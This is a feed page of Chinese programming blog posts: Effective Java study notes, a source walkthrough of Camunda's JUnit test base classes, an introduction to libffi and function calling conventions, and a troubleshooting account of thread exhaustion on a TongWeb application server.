在开发的时候,经常会编写到其属性和方法全部为static的类,例如一些工具类等。对这些类进行实例化是没有意义的,有没有好的办法类阻止其被实例化?

Approach I Abstract class

最先想到的肯定是抽象类,抽象类不能被实例化。但是这样做有几个致命问题:

  • it can be subclassed and the subclass can be initialized
  • it misleads the user into thinking of inheritance of abstract class

Approach II Private Constructor

通过私有构造器来实现类的非实例化。

public class UtilityClass {
    
    // private constructor
    private UtilityClass () {
        throw new AssertionError("This class is non-instantiable");
    }
}

但是,子类的实例化需要调用父类的构造器,父类私有构造器会阻止子类的实例化。

Item 5: Prefer dependency injection to hardwiring resources

倾向依赖注入而非硬链接

Existing problems

Static utility classes and singletons are inappropriate for classes whose behavior is parameterized by an underlying resource.

静态工具类和单例类并不适用于那些参数化底层依赖的类。

Case-SpellChecker

在创建实例的时候,将底层依赖通过构造器传入,这就是依赖注入的一种形式。

public class SpellChecker {
    
    private final String dictionary;
    
    public SpellChecker(String dictionary) {
        this.dictionary = dictionary;
    }
    
    public boolean isValid(String word) { 
        return dictionary.contains(word)
    }
}

advantages

  • it works with an arbitrary number of resources
  • it preserves immutability(不变性)
  • it could apply to constructors, static factories and bulders

依赖注入还有一种形式,就是将一个工厂通过构造器传入。

disadvantages

  • clutter up large projects. 对于成千上万个依赖的项目,使用依赖注入很可能会导致项目的混乱,但是可以使用一些依赖注入的框架来消除混乱。

summary

  • do not use a singleton or static utility class to implement a class which depends on underlying resources
  • 不要直接在类中创建底层依赖,而应该通过构造方法获取这些底层依赖

Item 6: Avoid create unnecessary object

避免创建不需要的对象

If there is a object which is immutable, reuse it instead of creating a new one.

String s = new String("[Effective Java]"); // DON'T DO THIS

some suggestions

  • 如果一个不可变的类提供了构造器和静态工厂方法,建议使用静态工厂方法获取对象实例来避免创建出不需要的实例。
  • 如果一个对象的创建代价比较大,但是又想复用该对象,可以将其缓存起来

case-RomanNumeral

假设要判断一个字符串是否为罗马数字,可以使用正则表达式进行匹配。

public static boolean isRomanNumeral(String s) {
    return s.matches("^(?=.)M*(C[MD]|D?C{0,3})"
            + "(X[CL]|L?X{0,3})(I[XV]|V?I{0,3})$");
}

上面的代码中每次调用的时候,都会在内部创建一个Pattern对象,其创建代价比较大,但是只使用到一次就被GC回收了。思考一下,如何进行复用呢?

在外层显示地使用Pattern编译正则表达式。

private static final Pattern ROMAN = Pattern.compile("^(?=.)M*(C[MD]|D?C{0,3})"
        + "(X[CL]|L?X{0,3})(I[XV]|V?I{0,3})$");

public static boolean isRomanNum(String s) {
    return ROMAN.matcher(s).matches();
}
  • 性能提升
  • 增加了可读性

Autoboxing

自动装箱是java的一个语法糖,其模糊了基本数据类型和包装类的区别,但是包装类和基本数据类型在性能上有较大的差别。

在实际的开发中,要倾向于基本数据类型,而不是包装类,因为潜在的自动拆装箱会创建大量的无用对象,造成严重的性能问题。

Item 7: Eliminate obsolete object references

消除废弃的对象引用。

即使JVM存在垃圾回收机制,也一定要注意内存管理问题。

  • 对于某些一定不会用到的对象,一定要及时使用null值,释放掉其引用,让垃圾回收器回收该废弃对象。如果废弃对象仍然被强引用所指,则会造成严重的内存泄漏问题。
  • null值的另一个好处就是,当外部代码错误指向废弃的对象,那么系统会抛出空指针异常,而非错误地运行下去。

Senarios for memory leaky

  • 一般来讲,当一个类自己去管理内存的时候,就应该警惕内存内存泄漏问题
  • 缓存。 存放在缓存中的对象很容易被忘记,当没有引用指向对象的时候,对象仍然存在于缓存中。使用WeakHashMap,某个entry会在其key没有被外部对象引用的时候自动清理
  • 监听器和其他回调。 实现API之后,客户端注册了回调但是却没有显示地取消注册这些回调,这些回调就会无法被回收而积累起来。可以将其使用弱引用存储,例如WeakHashMapkey

Item 8: Aovid finalizaers and cleaners

避免使用Finalizaer和Cleaner机制。

Finalizer是不可预测的、危险的并且通常并不是必须要使用的。Cleaner的危险性不如Finalizer,但是依旧是不可预测的,其运行缓慢,并且是非必要的。

Shortcomings

  • They might not be executed promptly. 并不是立马就执行的,从对象不可达到对象被清理之间的时间不可控。
  • 禁止依赖finalizer或者cleaner去更新一个持久的状态。例如锁的释放,你永远不知道这些方法何时被执行或者其永远不可能被执行。
  • Finalizer在运行是抛出的异常被忽略,导致其他的对象被破坏
  • finalizer会打开你的类,并进行finalizer机制攻击

Finalizer机制攻击的原理:

如果构造器或者序列化方法中抛出异常,恶意子类的finalizer机制可以运行在部分构造对象上,Finalizer机制可以使用静态属性记录该对象的引用,以防止其被垃圾回收。有了缺陷对象的引用,就可以调用该对象的任何方法。

防范Finalizer机制攻击的方法:

  • 使用final来修饰类或者使用final来修饰finalize()方法
  • 让类实现AutoClosable接口

Advantages

  • 作为安全网,对一些资源的释放起到兜底作用,有好过没有。
  • 本地同伴类(native peer)是一个普通对象托管的本地对象,假设这个本地对等类持有了非关键资源,并且对性能要求不高,使用finalizer机制或者cleaner释放该资源是可行的

Item 9: Prefer try-with-resources to try-finally

优先使用try with resources语句块而非try finally

try-finally

  • 多层资源需要嵌套的时候,代码会变得很复杂
  • try语句块和finally语句块可能会因为相同的原因抛出异常,但是finally语句块抛出的异常

try-with-resources

  • 具有更好的可读性,更加精简
  • 避免了因处理多个异常而产生的多层嵌套,污染代码的情况

Summary

使用try-with-resource替代try-finally代码块的好处:

  • 生成的代码更加简洁
  • 生成的异常更加有用
  • 更加容易编写必须关闭的资源代码,不会出错

by 蛇皮划水怪 at January 19, 2025 09:32 AM

桂花流程引擎技术开发系列之测试篇—PluggableProcessEngineTest类分析

篇章引言

桂花流程引擎,是基于Camunda 7.20+扩展,旨在满足国内精细化的审批需求的国产流程引擎。桂花流程引擎为桂云网络公司旗下的标准化流程产品,取名“桂花”,其一是桂云网络公司主商标“桂云”的实物化产品品牌延伸,其二是桂花是中国传统文化名花,其淡雅的清香给人一种古典而唯美的体验感官。桂花流程引擎中“桂花”为桂云网络公司指定在商标尼斯分类第0901组软件类产品的商标,本文由桂云网络OSG独家贡献。

在桂云网络公司开发桂花流程引擎的过程中,单元测试是一个无法避免的基础知识,今天将Camunda的单元测试主要类PluggableProcessEngineTest源码分析一遍。

一、单元测试基础知识

Camunda使用的也是junit单元测试,因此,不得不说明junit单元测试的基础知识。junit单元测试分junit3、junit4和junit5。junit3单元测试是旧版本的单元测试,其需要继承TestCase类,并需要将测试函数前缀test才能标明为测试函数。TestCase有很多的接口函数,其重要有setUp和tearDown两个函数,setUp函数标明在单元测试函数运行前执行setUp函数,而tearDown函数标明在单元测试函数之后运行,这有点类似于Spring Boot框架AOP切面编程的@Around注解。到了junit4版本,就取消了junit3的做法,改为使用@Test注解来标注单元测试函数,并且使用@Before注解和@After注解取代了junit3版本的setUp和tearDown函数,测试函数也没了必须test开头的规定。具体举案例说明:

package com.osgit.bpmn.core;
 
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
 
public class MyTest {
    private final static Logger LOGGER = LoggerFactory.getLogger(MyTest.class);
 
    @Before
    public void init() {
        LOGGER.info("初始化工作");
    }
 
    @After
    public void clear() {
        LOGGER.info("清除工作");
    }
 
    @Test
    // 单元测试函数体
    public void fooBar() throws Exception {
        LOGGER.info("测试函数体...");
    }
}

运行结果如下

14:08:36.522 [main] INFO  com.osgit.bpmn.core.MyTest - 初始化工作
14:08:36.525 [main] INFO  com.osgit.bpmn.core.MyTest - 测试函数体...
14:08:36.525 [main] INFO  com.osgit.bpmn.core.MyTest - 清除工作

@Rule注解

@Rule注解即junit4单元测试的规则类,junit4内置了很多测试规则,如TestRule类、Timeout类、ExternalResource类等,在此仅说明基类TestRule类,其余具体作用在此不做详细说明。

TestRule是测试规则基础类,其只有一个apply函数,该函数返回一个Statement实例,其中Statement为单元测试抽象类,statement.evaluate()函数即业务单位测试函数执行,而Description为单元测试的描述信息类,包含业务单元测试的类名、函数名、注解等信息。在statement.evaluate前后可加上其他处理,这样得到的效果其实与以上是相同的。

package com.osgit.bpmn.core;
 
import org.junit.Rule;
import org.junit.Test;
import org.junit.rules.TestRule;
import org.junit.runner.Description;
import org.junit.runners.model.Statement;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
 
public class MyTest {
    private final static Logger LOGGER = LoggerFactory.getLogger(MyTest.class);
 
    // 测试规则,加上@Rule注解
    @Rule
    public TestRule testRule = new TestRule() {
        @Override
        public Statement apply(Statement statement, Description description) {
            return new Statement() {
                @Override
                public void evaluate() throws Throwable {
                    LOGGER.info("测试开始。。。");
                    statement.evaluate();
                    LOGGER.info("测试结束。。。");
                }
            };
        }
    };
 
    @Test
    public void fooBar() throws Exception {
        LOGGER.info("测试函数体...");
    }
}

执行结果,与Spring Boot环绕编程结果一样

15:56:32.030 [main] INFO  com.osgit.bpmn.core.MyTest - 测试开始。。。
15:56:32.033 [main] INFO  com.osgit.bpmn.core.MyTest - 测试函数体...
15:56:32.033 [main] INFO  com.osgit.bpmn.core.MyTest - 测试结束。。。

TestWatcher

TestWatcher注解为junit5提供的注解,用于单元测试的监听,TestWatcher有starting和finished等接口函数,其中starting即单元测试前执行,而finished在单元执行后执行。其效果跟@Before和@After是一样的。

二、PluggableProcessEngineTest源码分析

在有junit基础知识的情况下,我们开始分析Camunda的单元测试基类的工作原理。直接上源码

package com.osgit.bpmn.core.util;
 
import com.osgit.bpmn.core.SpringTestConfig;
import org.camunda.bpm.engine.*;
import org.camunda.bpm.engine.impl.cfg.ProcessEngineConfigurationImpl;
import org.camunda.bpm.engine.impl.interceptor.Command;
import org.camunda.bpm.engine.impl.persistence.entity.JobEntity;
import org.camunda.bpm.engine.impl.util.ClockUtil;
import org.camunda.bpm.engine.runtime.ActivityInstance;
import org.camunda.bpm.engine.runtime.Job;
import org.junit.Before;
import org.junit.Rule;
import org.junit.rules.RuleChain;
import org.springframework.context.ApplicationContext;
import org.springframework.context.annotation.AnnotationConfigApplicationContext;
 
import java.util.ArrayList;
import java.util.List;
 
 
public class PluggableProcessEngineTest {
 
  protected ProvidedProcessEngineRule engineRule = new ProvidedProcessEngineRule();
  protected ProcessEngineTestRule testRule = new ProcessEngineTestRule(engineRule);
 
  @Rule
  public RuleChain ruleChain = RuleChain.outerRule(engineRule).around(testRule);
 
  protected ProcessEngine processEngine;
  protected ProcessEngineConfigurationImpl processEngineConfiguration;
  protected RepositoryService repositoryService;
  protected RuntimeService runtimeService;
  protected TaskService taskService;
  protected FormService formService;
  protected HistoryService historyService;
  protected IdentityService identityService;
  protected ManagementService managementService;
  protected AuthorizationService authorizationService;
  protected CaseService caseService;
  protected FilterService filterService;
  protected ExternalTaskService externalTaskService;
  protected DecisionService decisionService;
 
  public PluggableProcessEngineTest() {
  }
 
  @Before
  public void initializeServices() {
    processEngine = engineRule.getProcessEngine();
    processEngineConfiguration = engineRule.getProcessEngineConfiguration();
    repositoryService = processEngine.getRepositoryService();
    runtimeService = processEngine.getRuntimeService();
    taskService = processEngine.getTaskService();
    formService = processEngine.getFormService();
    historyService = processEngine.getHistoryService();
    identityService = processEngine.getIdentityService();
    managementService = processEngine.getManagementService();
    authorizationService = processEngine.getAuthorizationService();
    caseService = processEngine.getCaseService();
    filterService = processEngine.getFilterService();
    externalTaskService = processEngine.getExternalTaskService();
    decisionService = processEngine.getDecisionService();
 
    initSpringBoot();
  }
 
  public void initSpringBoot() {
    ApplicationContext applicationContext = new AnnotationConfigApplicationContext(SpringTestConfig.class);
    SpringUtil springUtil = applicationContext.getBean(SpringUtil.class);
    springUtil.setApplicationContext(applicationContext);
  }
 
  public ProcessEngine getProcessEngine() {
    return processEngine;
  }
 
  public boolean areJobsAvailable() {
    List<Job> list = managementService.createJobQuery().list();
    for (Job job : list) {
      if (!job.isSuspended() && job.getRetries() > 0 && (job.getDuedate() == null || ClockUtil.getCurrentTime().after(job.getDuedate()))) {
        return true;
      }
    }
    return false;
  }
 
  protected List<ActivityInstance> getInstancesForActivityId(ActivityInstance activityInstance, String activityId) {
    List<ActivityInstance> result = new ArrayList<>();
    if(activityInstance.getActivityId().equals(activityId)) {
      result.add(activityInstance);
    }
    for (ActivityInstance childInstance : activityInstance.getChildActivityInstances()) {
      result.addAll(getInstancesForActivityId(childInstance, activityId));
    }
    return result;
  }
 
  protected void deleteHistoryCleanupJobs() {
    final List<Job> jobs = historyService.findHistoryCleanupJobs();
    for (final Job job: jobs) {
      processEngineConfiguration.getCommandExecutorTxRequired().execute((Command<Void>) commandContext -> {
        commandContext.getJobManager().deleteJob((JobEntity) job);
        return null;
      });
    }
  }
 
}

由PluggableProcessEngineTest源码分析可知,注解的@Before函数体,其步骤是,先从engineRule中获得一个ProcessEngine实例,然后获得流程引擎的配置实例,再全部初始化各类的Service,最后是初始化SpringBoot上下文。那么,这个engineRule是什么东西?

这时,切换到ProvidedProcessEngineRule的源码

package com.osgit.bpmn.core.util;
 
import org.camunda.bpm.engine.ProcessEngine;
import org.camunda.bpm.engine.ProcessEngineConfiguration;
import org.camunda.bpm.engine.test.ProcessEngineRule;
 
import java.util.concurrent.Callable;
 
public class ProvidedProcessEngineRule extends ProcessEngineRule {
 
  protected static ProcessEngine cachedProcessEngine;
  
  protected Callable<ProcessEngine> processEngineProvider;
 
  public ProvidedProcessEngineRule() {
    super(getOrInitializeCachedProcessEngine(), true);
  }
 
  public ProvidedProcessEngineRule(final ProcessEngineBootstrapRule bootstrapRule) {
    this(() -> bootstrapRule.getProcessEngine());
  }
 
  public ProvidedProcessEngineRule(Callable<ProcessEngine> processEngineProvider) {
    super(true);
    this.processEngineProvider = processEngineProvider;
  }
 
  @Override
  protected void initializeProcessEngine() {
 
    if (processEngineProvider != null) {
      try {
        this.processEngine = processEngineProvider.call();
      } catch (Exception e) {
        throw new RuntimeException("Could not get process engine", e);
      }
    }
    else {
      super.initializeProcessEngine();
    }
  }
  
  protected static ProcessEngine getOrInitializeCachedProcessEngine() {
    if (cachedProcessEngine == null) {
      cachedProcessEngine = ProcessEngineConfiguration
          .createProcessEngineConfigurationFromResource("camunda.cfg.xml")
          .buildProcessEngine();
    }
    return cachedProcessEngine;
  }
 
}

发现这个ProvidedProcessEngineRule类并没有看出与junit相关的信息,继续看父ProcessEngineRule,这时候终于发现继承与TestWatcher类,与junit息息相关。

package org.camunda.bpm.engine.test;
 
import java.io.FileNotFoundException;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;
import org.camunda.bpm.engine.AuthorizationService;
import org.camunda.bpm.engine.CaseService;
import org.camunda.bpm.engine.DecisionService;
import org.camunda.bpm.engine.ExternalTaskService;
import org.camunda.bpm.engine.FilterService;
import org.camunda.bpm.engine.FormService;
import org.camunda.bpm.engine.HistoryService;
import org.camunda.bpm.engine.IdentityService;
import org.camunda.bpm.engine.ManagementService;
import org.camunda.bpm.engine.ProcessEngine;
import org.camunda.bpm.engine.ProcessEngineServices;
import org.camunda.bpm.engine.RepositoryService;
import org.camunda.bpm.engine.RuntimeService;
import org.camunda.bpm.engine.TaskService;
import org.camunda.bpm.engine.impl.ProcessEngineImpl;
import org.camunda.bpm.engine.impl.cfg.ProcessEngineConfigurationImpl;
import org.camunda.bpm.engine.impl.telemetry.PlatformTelemetryRegistry;
import org.camunda.bpm.engine.impl.test.RequiredDatabase;
import org.camunda.bpm.engine.impl.test.TestHelper;
import org.camunda.bpm.engine.impl.util.ClockUtil;
import org.junit.Assume;
import org.junit.rules.TestWatcher;
import org.junit.runner.Description;
import org.junit.runners.model.Statement;
 
 
public class ProcessEngineRule extends TestWatcher implements ProcessEngineServices {
 
  protected String configurationResource = "camunda.cfg.xml";
  protected String configurationResourceCompat = "activiti.cfg.xml";
  protected String deploymentId = null;
  protected List<String> additionalDeployments = new ArrayList<>();
 
  protected boolean ensureCleanAfterTest = false;
 
  protected ProcessEngine processEngine;
  protected ProcessEngineConfigurationImpl processEngineConfiguration;
  protected RepositoryService repositoryService;
  protected RuntimeService runtimeService;
  protected TaskService taskService;
  protected HistoryService historyService;
  protected IdentityService identityService;
  protected ManagementService managementService;
  protected FormService formService;
  protected FilterService filterService;
  protected AuthorizationService authorizationService;
  protected CaseService caseService;
  protected ExternalTaskService externalTaskService;
  protected DecisionService decisionService;
 
  public ProcessEngineRule() {
    this(false);
  }
 
  public ProcessEngineRule(boolean ensureCleanAfterTest) {
    this.ensureCleanAfterTest = ensureCleanAfterTest;
  }
 
  public ProcessEngineRule(String configurationResource) {
    this(configurationResource, false);
  }
 
  public ProcessEngineRule(String configurationResource, boolean ensureCleanAfterTest) {
    this.configurationResource = configurationResource;
    this.ensureCleanAfterTest = ensureCleanAfterTest;
  }
 
  public ProcessEngineRule(ProcessEngine processEngine) {
    this(processEngine, false);
  }
 
  public ProcessEngineRule(ProcessEngine processEngine, boolean ensureCleanAfterTest) {
    this.processEngine = processEngine;
    this.ensureCleanAfterTest = ensureCleanAfterTest;
  }
 
  @Override
  public void starting(Description description) {
    String methodName = description.getMethodName();
    if (methodName != null) {
      // cut off method variant suffix "[variant name]" for parameterized tests
      int methodNameVariantStart = description.getMethodName().indexOf('[');
      int methodNameEnd = methodNameVariantStart < 0 ? description.getMethodName().length() : methodNameVariantStart;
      methodName = description.getMethodName().substring(0, methodNameEnd);
    }
    deploymentId = TestHelper.annotationDeploymentSetUp(processEngine, description.getTestClass(), methodName,
        description.getAnnotation(Deployment.class));
  }
 
  @Override
  public Statement apply(final Statement base, final Description description) {
 
    if (processEngine == null) {
      initializeProcessEngine();
    }
 
    initializeServices();
 
    Class<?> testClass = description.getTestClass();
    String methodName = description.getMethodName();
 
    RequiredHistoryLevel reqHistoryLevel = description.getAnnotation(RequiredHistoryLevel.class);
    boolean hasRequiredHistoryLevel = TestHelper.annotationRequiredHistoryLevelCheck(processEngine,
        reqHistoryLevel, testClass, methodName);
 
    RequiredDatabase requiredDatabase = description.getAnnotation(RequiredDatabase.class);
    boolean runsWithRequiredDatabase = TestHelper.annotationRequiredDatabaseCheck(processEngine,
        requiredDatabase, testClass, methodName);
    return new Statement() {
 
      @Override
      public void evaluate() throws Throwable {
        Assume.assumeTrue("ignored because the current history level is too low", hasRequiredHistoryLevel);
        Assume.assumeTrue("ignored because the database doesn't match the required ones", runsWithRequiredDatabase);
        ProcessEngineRule.super.apply(base, description).evaluate();
      }
    };
  }
 
  protected void initializeProcessEngine() {
    try {
      processEngine = TestHelper.getProcessEngine(configurationResource);
    } catch (RuntimeException ex) {
      if (ex.getCause() != null && ex.getCause() instanceof FileNotFoundException) {
        processEngine = TestHelper.getProcessEngine(configurationResourceCompat);
      } else {
        throw ex;
      }
    }
  }
 
  protected void initializeServices() {
    processEngineConfiguration = ((ProcessEngineImpl) processEngine).getProcessEngineConfiguration();
    repositoryService = processEngine.getRepositoryService();
    runtimeService = processEngine.getRuntimeService();
    taskService = processEngine.getTaskService();
    historyService = processEngine.getHistoryService();
    identityService = processEngine.getIdentityService();
    managementService = processEngine.getManagementService();
    formService = processEngine.getFormService();
    authorizationService = processEngine.getAuthorizationService();
    caseService = processEngine.getCaseService();
    filterService = processEngine.getFilterService();
    externalTaskService = processEngine.getExternalTaskService();
    decisionService = processEngine.getDecisionService();
  }
 
  protected void clearServiceReferences() {
    processEngineConfiguration = null;
    repositoryService = null;
    runtimeService = null;
    taskService = null;
    formService = null;
    historyService = null;
    identityService = null;
    managementService = null;
    authorizationService = null;
    caseService = null;
    filterService = null;
    externalTaskService = null;
    decisionService = null;
  }
 
  @Override
  public void finished(Description description) {
    identityService.clearAuthentication();
    processEngine.getProcessEngineConfiguration().setTenantCheckEnabled(true);
 
    TestHelper.annotationDeploymentTearDown(processEngine, deploymentId, description.getTestClass(), description.getMethodName());
    for (String additionalDeployment : additionalDeployments) {
      TestHelper.deleteDeployment(processEngine, additionalDeployment);
    }
 
    TestHelper.deleteCommonRemarkAll(processEngine);
 
    if (ensureCleanAfterTest) {
      TestHelper.assertAndEnsureCleanDbAndCache(processEngine);
    }
 
    TestHelper.resetIdGenerator(processEngineConfiguration);
    ClockUtil.reset();
 
 
    clearServiceReferences();
 
    PlatformTelemetryRegistry.clear();
  }
 
  public void setCurrentTime(Date currentTime) {
    ClockUtil.setCurrentTime(currentTime);
  }
 
  public String getConfigurationResource() {
    return configurationResource;
  }
 
  public void setConfigurationResource(String configurationResource) {
    this.configurationResource = configurationResource;
  }
 
  public ProcessEngine getProcessEngine() {
    return processEngine;
  }
 
  public void setProcessEngine(ProcessEngine processEngine) {
    this.processEngine = processEngine;
  }
 
  public ProcessEngineConfigurationImpl getProcessEngineConfiguration() {
    return processEngineConfiguration;
  }
 
  public void setProcessEngineConfiguration(ProcessEngineConfigurationImpl processEngineConfiguration) {
    this.processEngineConfiguration = processEngineConfiguration;
  }
 
  @Override
  public RepositoryService getRepositoryService() {
    return repositoryService;
  }
 
  public void setRepositoryService(RepositoryService repositoryService) {
    this.repositoryService = repositoryService;
  }
 
  @Override
  public RuntimeService getRuntimeService() {
    return runtimeService;
  }
 
  public void setRuntimeService(RuntimeService runtimeService) {
    this.runtimeService = runtimeService;
  }
 
  @Override
  public TaskService getTaskService() {
    return taskService;
  }
 
  public void setTaskService(TaskService taskService) {
    this.taskService = taskService;
  }
 
  @Override
  public HistoryService getHistoryService() {
    return historyService;
  }
 
  public void setHistoryService(HistoryService historyService) {
    this.historyService = historyService;
  }
 
  /**
   * @see #setHistoryService(HistoryService)
   * @param historicService
   *          the historiy service instance
   */
  public void setHistoricDataService(HistoryService historicService) {
    this.setHistoryService(historicService);
  }
 
  @Override
  public IdentityService getIdentityService() {
    return identityService;
  }
 
  public void setIdentityService(IdentityService identityService) {
    this.identityService = identityService;
  }
 
  @Override
  public ManagementService getManagementService() {
    return managementService;
  }
 
  @Override
  public AuthorizationService getAuthorizationService() {
    return authorizationService;
  }
 
  public void setAuthorizationService(AuthorizationService authorizationService) {
    this.authorizationService = authorizationService;
  }
 
  @Override
  public CaseService getCaseService() {
    return caseService;
  }
 
  public void setCaseService(CaseService caseService) {
    this.caseService = caseService;
  }
 
  @Override
  public FormService getFormService() {
    return formService;
  }
 
  public void setFormService(FormService formService) {
    this.formService = formService;
  }
 
  public void setManagementService(ManagementService managementService) {
    this.managementService = managementService;
  }
 
  @Override
  public FilterService getFilterService() {
    return filterService;
  }
 
  public void setFilterService(FilterService filterService) {
    this.filterService = filterService;
  }
 
  @Override
  public ExternalTaskService getExternalTaskService() {
    return externalTaskService;
  }
 
  public void setExternalTaskService(ExternalTaskService externalTaskService) {
    this.externalTaskService = externalTaskService;
  }
 
  @Override
  public DecisionService getDecisionService() {
    return decisionService;
  }
 
  public void setDecisionService(DecisionService decisionService) {
    this.decisionService = decisionService;
  }
 
  public void manageDeployment(org.camunda.bpm.engine.repository.Deployment deployment) {
    this.additionalDeployments.add(deployment.getId());
  }
 
}

具体而言,在ProcessEngineRule类中,继承TestWatcher类,在重写的starting函数,提取单元测试函数的信息,通过TestHelper工具类自动提取@Deployment的注解,并完成单元测试自动部署。

  @Override
  public void starting(Description description) {
    // 获得单元测试函数名
    String methodName = description.getMethodName();
    if (methodName != null) {
      // cut off method variant suffix "[variant name]" for parameterized tests
      int methodNameVariantStart = description.getMethodName().indexOf('[');
      int methodNameEnd = methodNameVariantStart < 0 ? description.getMethodName().length() : methodNameVariantStart;
      methodName = description.getMethodName().substring(0, methodNameEnd);
    }
    // 提取单元测试函数上的@Deployment注解,然后自动部署
    deploymentId = TestHelper.annotationDeploymentSetUp(processEngine, description.getTestClass(), methodName,
        description.getAnnotation(Deployment.class));
  }

在在重写的finished函数中,完成单元测试的清理工作

  @Override
  public void finished(Description description) {
    // 清除认证
    identityService.clearAuthentication();
    processEngine.getProcessEngineConfiguration().setTenantCheckEnabled(true);
 
    // 单元测试完成后自动清除部署文件
    TestHelper.annotationDeploymentTearDown(processEngine, deploymentId, description.getTestClass(), description.getMethodName());
    for (String additionalDeployment : additionalDeployments) {
      TestHelper.deleteDeployment(processEngine, additionalDeployment);
    }
 
    // 自动的清除公共审批意见
    TestHelper.deleteCommonRemarkAll(processEngine);
 
    // 确保数据库已清理干净
    if (ensureCleanAfterTest) {
      TestHelper.assertAndEnsureCleanDbAndCache(processEngine);
    }
 
    // 重置ID生成器
    TestHelper.resetIdGenerator(processEngineConfiguration);
    
    // 重置时间
    ClockUtil.reset();
 
    // 将流程引擎各类的Service全部清空
    clearServiceReferences();
 
    // 清除检测
    PlatformTelemetryRegistry.clear();
  }

by 桂云网络OSG at January 19, 2025 09:25 AM

juejin career

Python与C语言交互——libffi库介绍

相关知识

函数调用约定涉及的方面:

  • 参数的传递:参数是通过栈传递还是寄存器传递;
    参数的传递顺序:是从左到右,还是从右到左
  • 返回值处理:通过寄存器传递 或 通过指针 或 栈空间
  • 栈的维护方式:有调用者清理栈(caller-cleanup)或 被调用者清理栈(callee-cleanup)

函数调用典型方式:

  • cdecl:c 语言使用
  • stdcall:windows api
  • fastcall:前几个参数通过寄存器传递
  • thiscall:C++ 语言使用,包含 this 指针传递
  • System V AMD64:x86-64 的 linux 和 macOS
  • CPython:python 解释器

Hook 技术分类:

  • 编译期 Hook:在编译时插入钩子代码。
  • 动态库加载期 Hook:在动态加载库时通过符号重定向或链接替换来实现钩子(如使用 LD_PRELOAD、dlopen)。
  • 运行时 Hook:在程序执行过程中动态修改函数指针或内存,实时拦截函数调用。

Python 程序内存模型:

  • 堆:实现对象分配和垃圾回收,基于 pymalloc 内存池。
  • 栈:保存局部变量、函数调用信息、python 对象引用(python 全部数据都是对象),由操作系统分配空间,由 python 解释器使用。

C 程序内存模型:

  • 堆:通过 malloc、free 操作,由用户态操作,基于 ptmalloc 内存池
  • 栈:存储局部变量、函数参数、函数返回值,由操作系统分配空间,由 C 程序本身处理栈使用

概述

Libffi 通常用于支持高级语言(python)动态的调用 c 库,与 hook 用于拦截 API 调用的功能不同,是支持运行期跨语言调用的库。Libffi 能够处理统一进程中执行不同语言的“函数调用约定”带来的问题,能够处理各种不同平台/编译期带来的“函数调用约定”差异。

使用环境

支持 Linux、iOS、Windows 等操作系统下的 GCC、Clang、MSVC 等编译器在 ARM、X86 等硬件架构上 cdecl 等函数调用约定的函数调用。具体可见:

github.com/libffi/libf…

实现原理

以实现 Python 调用 C 函数为例。

Python 解释器与 C 函数的函数调用约定不同,对堆栈的访问、构建方式不同。libffi 实现同进程下的二者兼容。

  1. 栈帧管理:libffi 会创建符合 C 调用约定的栈帧,将 Python 参数正确地传递给 C 函数。
  2. 内存管理与转换:libffi 负责将 Python 数据类型转换为 C 数据类型,并处理内存分配和释放,避免内存冲突。
  3. 栈空间隔离:Python 和 C 的栈空间是独立的,libffi 确保两者的栈操作不会互相干扰。
  4. 堆管理:C 函数运行或返回值可能涉及堆内存使用,libffi 会处理这部分内存的分配和释放。

因此,libffi 作为 Python 和 C 之间的桥梁,自动处理了栈空间、内存管理、数据类型转换等复杂的细节,使得 Python 程序能够顺利地调用 C 函数。

接口

建议参考这个开源库进行学习:github.com/faimin/ZDLi…

by 邢越峰 at January 19, 2025 09:25 AM

juejin backend

一次远程帮助朋友信创项目线上业务添堵问题排查

由于去年12月份我所在的创业公司倒闭,加上中国整体市场环境又不是很好,另外自己又是网校的专科、本科而且又本山了,所以工作特别的不好找,外包的机会都特别少。但是事在人为,不放弃,都努力,尽量抓住一切可能机会。毕竟魔都还是一个有可能机会的城市,所幸运进入一家新的公司废话不多说,开始正题了,希望今年所有不顺的人都能够找到合适的工作(由于信创项目及安全所以今天分享不会是特别详细,无法截图代码请大家多多原谅

介绍

老项目迁移到TongWeb服务内,另外还需要接入其他的新服务与功能。 TongWeb 是一款国产的应用服务器软件,TongWeb 由东方通科技股份有限公司研发,旨在为企业级应用提供可靠、高效且安全的运行环境,能够承载和支撑各类 Java EE 等相关应用的部署、运行与管理。

生产上状况

  • TongWeb: 专用机版本
  • jvm堆:16G;卡顿时大概使用10G多
  • 国产CPU:64核使用率大概74%
  • 线程池:最少50,最高1500/400/200都试过,都可以复现;
  • http通道:io模式:nio2/nio都可以复现;
  • 用户数:高峰时间,大概300多人:
  • 监控信息看:线程池线程已使用完,使用率100%,感觉是线程不释放。
  • 重启tongweb可以解决卡顿;每天大概8点多可以均可以复现,偶尔不复现

image.png

猜想

业务堵塞,导致tongWeb的线程资源耗尽 ,说白了执行业务任务耗时,高峰时期尤为明显

CPU偏高:CPU冲高问题,由于某些代码不考性能,并发一高特别容易出现CPU资源不够,又进一步拖累业务。

排查思路

请注意以下操作一定要在业务堵塞高峰时期执行,请提前写好shell

系统上其他进程的干扰

查看其他进程的CPU,内存,磁盘IO(特别是交换分区),网络IO,命令:top ,free,iostat 等

网络抓包

image.png 可以明显看到TCP的零窗口堵塞非常之多,是否服务器返回数据字节数偏多,是前端、还是后端,如下图所示,明显该服务不是前后端分离。

image.png

注意,请求到服务返回将近3秒。请一定结合网卡的吞吐量来排查确定问题。如果要求高并发,优化点之一 image.png 重置连接数也如此之多,更加说明业务被堵塞了

抓取tcp连接数

可以看到redis连接数惊人,可想而知写代码的人, redis相关业务代码一定存在什么问题。 image.png 业务服务请求的连接数大概470 正常。

image.png

打印GC日志

猜测使用G1算法 整体看下正常。但是GC线程数过大浪费资源。设计GC参数设置不合理这里不过多展开。 image.png

dump文件,以及jstack打印线程堆栈分析

内存使用没有多大问题,存在内存泄漏风险几乎可以排除 image.png 首先分析TongWeb线程

image.png 查看大多数线程堆栈线程日志都调用这几个方法,结合业务代码发现在这里,堵塞主要原因,(由于安全没法截取源码代码演示大家看) 16bb94d5f2615929e4b0de0c314ddec.png

业务逻辑代码逻辑bug漏洞 1737276772067.png e90eaf0c4dfb9e1cfa878cb6f7cd00d.png

那CPU问题呢?继续查看堆栈线程日志 image.png

sleep持有cpu的资源不释放。 977626d6aa5605780f8604e95a9da84.png

1737276631553.png

1737276662261.png

redis可能得大key问题,至于内存碎片化要去服务器排查

